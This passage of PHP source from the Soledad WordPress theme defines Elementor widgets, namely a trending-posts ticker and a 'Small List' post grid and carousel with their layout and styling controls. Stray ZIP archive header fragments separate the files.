				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-trending-nav a' => 'font-size: {{SIZE}}px' ),
			)
		);

		$this->add_control(
			'navs_color',
			array(
				'label'     => __( 'Next/Prev Icons Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-trending-nav a' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'navs_hcolor',
			array(
				'label'     => __( 'Next/Prev Icons Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-trending-nav a:hover' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'navs_bg',
			array(
				'label'     => __( 'Next/Prev Buttons Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'navs_buttons' => 'yes' ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-trending-nav a' => 'background-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'navs_hbg',
			array(
				'label'     => __( 'Next/Prev Buttons Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => array( 'navs_buttons' => 'yes' ),
				'selectors' => array(
					'body:not(.pcdm-enable) {{WRAPPER}} .penci-trending-nav a:hover' => 'background-color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'heading_tposttitle',
			array(
				'label'     => __( 'Post Titles', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'ptitle_typo',
				'selector' => '{{WRAPPER}} a.penci-topbar-post-title',
			)
		);

		$this->add_control(
			'ptitle_color',
			array(
				'label'     => __( 'Post Title Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} a.penci-topbar-post-title' => 'color: {{VALUE}};'
				),
			)
		);

		$this->add_control(
			'ptitle_hcolor',
			array(
				'label'     => __( 'Post Title Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} a.penci-topbar-post-title:hover' => 'color: {{VALUE}};'
				),
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$query_args = Module::get_query_args( 'posts', $settings );

		$toptext = isset( $settings['tpost_text'] ) ? $settings['tpost_text'] : 'Top Posts';
		$rand    = rand( 100, 5000 );
		?>
		<?php $this->markup_block_title( $settings, $this ); ?>
        <div class="penci-enews-ticker penci-topbar-trending penci-enews-ticker-<?php echo $rand; ?>">

			<?php if ( $toptext ) {
				$toptext_style = $settings['headline_style'] ? $settings['headline_style'] : 'nticker-style-1';
				?>
                <span class="headline-title <?php echo $toptext_style; ?>"><?php echo $toptext; ?></span>
			<?php }

			$news             = new \WP_Query( $query_args );
			if ( $news->have_posts() ):
				$auto_play = $settings['autoplay'] ? $settings['autoplay'] : 'true';
				$auto_time    = $settings['autotime'] ? $settings['autotime'] : '3000';
				$auto_speed   = $settings['autospeed'] ? $settings['autospeed'] : '300';
				$title_length = $settings['title_length'] ? $settings['title_length'] : 8;
				$animation    = $settings['headline_anim'] ? $settings['headline_anim'] : 'slideInUp';
				$navs_buttons = isset( $settings['navs_buttons'] ) ? $settings['navs_buttons'] : false;
				$main_class   = $animation == 'marquee' ? 'no-df pcmarquee-slider' : 'pcdfswiper';
				if ( $animation != 'marquee' ) :
					?>
                    <span class="penci-trending-nav<?php if ( $navs_buttons ): echo ' penci-navs-buttons'; endif; ?>">
					<a class="penci-slider-prev" href="#"
                       aria-label="Previous"><?php penci_fawesome_icon( 'fas fa-angle-left' ); ?></a>
					<a class="penci-slider-next" href="#"
                       aria-label="Next"><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?></a>
				</span>
				<?php endif; ?>
                <div class="<?php echo $main_class; ?> penci-owl-carousel swiper penci-owl-carousel-slider penci-headline-posts"
                     data-auto="<?php echo $auto_play; ?>" data-nav="false" data-autotime="<?php echo $auto_time; ?>"
                     data-speed="<?php echo $auto_speed; ?>" data-anim="<?php echo $animation; ?>">
                    <div class="swiper-wrapper">
						<?php while ( $news->have_posts() ): $news->the_post(); ?>
                            <div class="swiper-slide">
                                <a class="penci-topbar-post-title"
                                   href="<?php the_permalink(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), $title_length, '...' ) ); ?></a>
                            </div>
						<?php endwhile;
						wp_reset_postdata(); ?>
                    </div>
                </div>
			<?php endif; /* End check if no posts */ ?>
        </div>
		<?php
		if ( isset( $auto_speed ) && $auto_speed && '300' != $auto_speed ) {
			$auto_speed_num = (int) $auto_speed / 1000;
			echo '<style>.penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.slideOutUp, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.slideInUp, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.TickerslideOutRight, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.TickerslideInRight, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.fadeOut, .penci-topbar-trending.penci-enews-ticker-' . $rand . ' .animated.fadeIn{ -webkit-animation-duration : ' . $auto_speed_num . 's; animation-duration : ' . $auto_speed_num . 's; }</style>';
		}
	}
}
PK     1w\Apa  a  -  elementor/modules/penci-small-list/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciSmallList;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-small-list';
	}

	public function get_widgets() {
		return array( 'PenciSmallList' );
	}
}
PK     1w\U# U# ?  elementor/modules/penci-small-list/widgets/penci-small-list.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciSmallList\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Color;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciSmallList extends Base_Widget {

	public function get_name() {
		return 'penci-small-list';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Small List', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'list', 'post', 'small', 'slider', 'carousel' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_slist' ];
	}

	protected function register_controls() {


		// Section general
		$this->start_controls_section( 'section_type', array(
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'type', array(
			'label'   => __( 'Type:', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'grid'  => 'Grid',
				'crs'   => 'Carousel',
				'nlist' => 'Creative List',
			),
			'default' => 'grid',
		) );

		$this->add_control( 'column', array(
			'label'     => __( 'Columns', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'default'   => '3',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'tab_column', array(
			'label'     => __( 'Columns on Tablet', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_control( 'mb_column', array(
			'label'     => __( 'Columns on Mobile', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				''  => 'Default',
				'1' => '1',
				'2' => '2',
				'3' => '3',
			),
			'default'   => '',
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'hgap', array(
			'label'     => __( 'Horizontal Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-hgap: {{SIZE}}px;',
			),
			'condition' => array( 'type!' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'vgap', array(
			'label'     => __( 'Vertical Space Between Posts', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-bgap: {{SIZE}}px;',
			),
			'condition' => array( 'type' => array( 'grid', 'nlist' ) ),
		) );

		$this->add_responsive_control( 'imggap', array(
			'label'     => __( 'Space Between Image & Content', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-between: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'vertical_position', array(
			'label'                => __( 'Vertical Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-iteminer' => 'align-items: {{VALUE}}',
			),
			'selectors_dictionary' => array(
				'top'    => 'flex-start',
				'middle' => 'center',
				'bottom' => 'flex-end',
			),
		) );

		$this->add_control( 'text_align', array(
			'label'       => __( 'Content Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-content, {{WRAPPER}} .pcsl-flex-full' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'paging', array(
			'label'       => __( 'Page Navigation Style', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => 'none',
			'options'     => array(
				'none'     => esc_html__( 'None', 'soledad' ),
				'nextprev' => esc_html__( 'Ajax Next/Previous', 'soledad' ),
				'numbers'  => esc_html__( 'Page Navigation Numbers', 'soledad' ),
				'loadmore' => esc_html__( 'Load More Posts Button', 'soledad' ),
				'scroll'   => esc_html__( 'Infinite Scroll', 'soledad' ),
			),
			'description' => __( 'Load More Posts Button & Infinite Scroll just works on frontend only.', 'soledad' ),
			'condition'   => array( 'type!' => 'crs' ),
		) );

		$this->add_control( 'paging_align', array(
			'label'     => __( 'Page Navigation Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'align-center',
			'options'   => array(
				'align-center' => esc_html__( 'Center', 'soledad' ),
				'align-left'   => esc_html__( 'Left', 'soledad' ),
				'align-right'  => esc_html__( 'Right', 'soledad' ),
			),
			'condition' => array( 'paging!' => [ 'none', 'nextprev' ] ),
		) );

		$this->end_controls_section();

		$this->register_query_section_controls( true );

		$this->start_controls_section( 'section_image', array(
			'label' => esc_html__( 'Image', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'hide_thumb', array(
			'label'        => __( 'Hide Featured Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'imgpos', array(
			'label'   => __( 'Image Position', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				'left'  => 'Left',
				'right' => 'Right',
				'top'   => 'Top',
			),
			'default' => 'left',
		) );

		$this->add_responsive_control( 'imgwidth', [
			'label'      => __( 'Image Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .pcsl-inner .pcsl-thumb'                                                                             => 'width: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .pcsl-imgpos-left .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right .pcsl-content'                       => 'width: calc( 100% - {{SIZE}}{{UNIT}} );',
				'{{WRAPPER}} .pcsl-imgpos-left.pcsl-hdate .pcsl-content, {{WRAPPER}} .pcsl-imgpos-right.pcsl-hdate .pcsl-content' => 'width: calc( 100% - var(--pcsl-dwidth) - {{SIZE}}{{UNIT}} );',
			],
		] );

		$this->add_control( 'image_align', array(
			'label'                => __( 'Image Align', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-imgpos-top .pcsl-thumb' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'marin-right: auto;',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto;',
			),
			'conditions'           => [
				'relation' => 'and',
				'terms'    => [
					[
						'name'     => 'imgpos',
						'operator' => '==',
						'value'    => 'top'
					],
					[
						'name'     => 'imgwidth[size]',
						'operator' => '!=',
						'value'    => ''
					]
				]
			]
		) );

		$this->add_responsive_control( 'img_ratio', array(
			'label'     => __( 'Image Ratio', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 300, 'step' => 0.5 ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
			),
			'condition' => array( 'nocrop!' => 'yes' ),
		) );

		$this->add_control( 'disable_lazy', array(
			'label'        => __( 'Disable Lazyload Images?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Image Size', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'mthumb_size', array(
			'label'   => __( 'Image Size for Mobile', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );

		$this->add_control( 'nocrop', array(
			'label'        => __( 'No Crop Image?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'description'  => __( 'To make it works, you need to select Image Size above is "Penci Masonry Thumb" or "Penci Full Thumb" or "Full"', 'soledad' ),
		) );

		$this->add_control( 'imgtop_mobile', array(
			'label'        => __( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'imgpos' => array( 'left', 'right' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_postmeta', array(
			'label' => esc_html__( 'Post Meta Data', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'post_meta', array(
			'label'    => __( 'Showing Post Meta', 'soledad' ),
			'type'     => Controls_Manager::SELECT2,
			'default'  => array( 'title', 'author', 'date' ),
			'multiple' => true,
			'options'  => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'title'   => esc_html__( 'Title', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
			),
		) );

		$this->add_control( 'primary_cat', array(
			'label'        => __( 'Show Primary Category Only', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'description'  => __( 'If you using Yoast SEO or Rank Math plugin, this option will show only the primary category from those plugins. If you don\'t use those plugins, it will show the first category in the list categories of the posts.', 'soledad' ),
			'label_on'     => __( 'On', 'soledad' ),
			'label_off'    => __( 'Off', 'soledad' ),
			'return_value' => 'on',
			'default'      => '',
		) );

		$this->add_control( 'title_length', array(
			'label'   => __( 'Custom Title Words Length', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'default' => '',
		) );

		$this->add_control( 'date_pos', array(
			'label'     => __( 'Post Date Position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'left'  => 'Left',
				'right' => 'Right',
			),
			'default'   => 'left',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_align', array(
			'label'       => __( 'Post Date Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-inner.pcsl-nlist .pcsl-date' => 'text-align: {{VALUE}}'
			),
			'condition'   => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_responsive_control( 'datewidth', [
			'label'      => __( 'Post Date Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ '%', 'px' ],
			'range'      => [
				'px' => [
					'min'  => 0,
					'max'  => 600,
					'step' => 1,
				],
				'%'  => [
					'min'  => 0,
					'max'  => 95,
					'step' => 0.1,
				],
			],
			'default'    => [
				'unit' => '%',
			],
			'selectors'  => [
				'{{WRAPPER}} .penci-smalllist' => '--pcsl-dwidth: {{SIZE}}{{UNIT}};',
			],
			'condition'  => array( 'type' => array( 'nlist' ) ),
		] );

		$this->add_control( 'dformat', array(
			'label'   => __( 'Date Format', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'options' => array(
				''        => 'Default',
				'timeago' => 'Time Ago',
				'normal'  => 'Normal',
			),
			'default' => '',
		) );

		$this->add_control( 'show_formaticon', array(
			'label'        => __( 'Show Post Format Icons', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_reviewpie', array(
			'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_excerpt', array(
			'label'        => __( 'Show The Post Excerpt?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 500,
			'step'      => 1,
			'default'   => 15,
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_align', array(
			'label'       => __( 'Custom Excerpt Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'condition'   => array( 'show_excerpt' => 'yes' ),
			'label_block' => false,
			'options'     => array(
				'left'    => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center'  => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'   => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
				'justify' => array(
					'title' => __( 'Justify', 'soledad' ),
					'icon'  => 'eicon-text-align-justify',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show Read More Button?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'rmstyle', array(
			'label'     => __( 'Read More Button Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'filled'    => 'Default',
				'bordered'  => 'Bordered',
				'underline' => 'Underline',
				'text'      => 'Text Only',
			),
			'default'   => 'filled',
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_control( 'rm_align', array(
			'label'       => __( 'Custom Read More Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'condition'   => array( 'show_readmore' => 'yes' ),
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-readmore' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'excerpt_pos', array(
			'label'      => __( 'Excerpt & Read More Position', 'soledad' ),
			'type'       => Controls_Manager::SELECT,
			'options'    => array(
				'below' => 'Below of Image',
				'side'  => 'Side of Image',
			),
			'separator'  => 'before',
			'default'    => 'below',
			'conditions' => [
				'relation' => 'or',
				'terms'    => [
					[
						'name'     => 'show_excerpt',
						'operator' => '==',
						'value'    => 'yes'
					],
					[
						'name'     => 'show_readmore',
						'operator' => '==',
						'value'    => 'yes'
					]
				]
			]
		) );

		$this->add_control( 'heading_show_mobile', array(
			'label'     => __( 'Showing on Mobile', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'hide_cat_mobile', array(
			'label'        => __( 'Hide Post Categories on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_meta_mobile', array(
			'label'        => __( 'Hide Post Meta on Mobile', 'soledad' ),
			'description'  => __( 'Include: Author Name, Date, Comments Count, Views Count, Reading Time', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_excerpt_mobile', array(
			'label'        => __( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'hide_rm_mobile', array(
			'label'        => __( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_readmore' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_ajax_filter();

		$this->start_controls_section( 'section_carousel_options', array(
			'label'     => __( 'Carousel Options', 'soledad' ),
			'condition' => array( 'type' => 'crs' ),
		) );

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );

		$this->add_control( 'loop', array(
			'label'     => __( 'Carousel Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => array( 'carousel_slider_effect' => 'default' ),
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 600,
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show next/prev buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show dots navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );


		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'General', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Post Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_control( 'item_bg', array(
			'label'     => __( 'Post Items Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'item_padding', array(
			'label'      => __( 'Post Items Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'item_borders', array(
			'label'     => __( 'Add Borders for Post Items', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
		) );

		$this->add_control( 'remove_border_last', array(
			'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
			),
			'condition' => array( 'column' => '1', 'item_borders!' => '' ),
		) );

		$this->add_responsive_control( 'item_bordersw', array(
			'label'      => __( 'Post Items Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'side_padding', array(
			'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
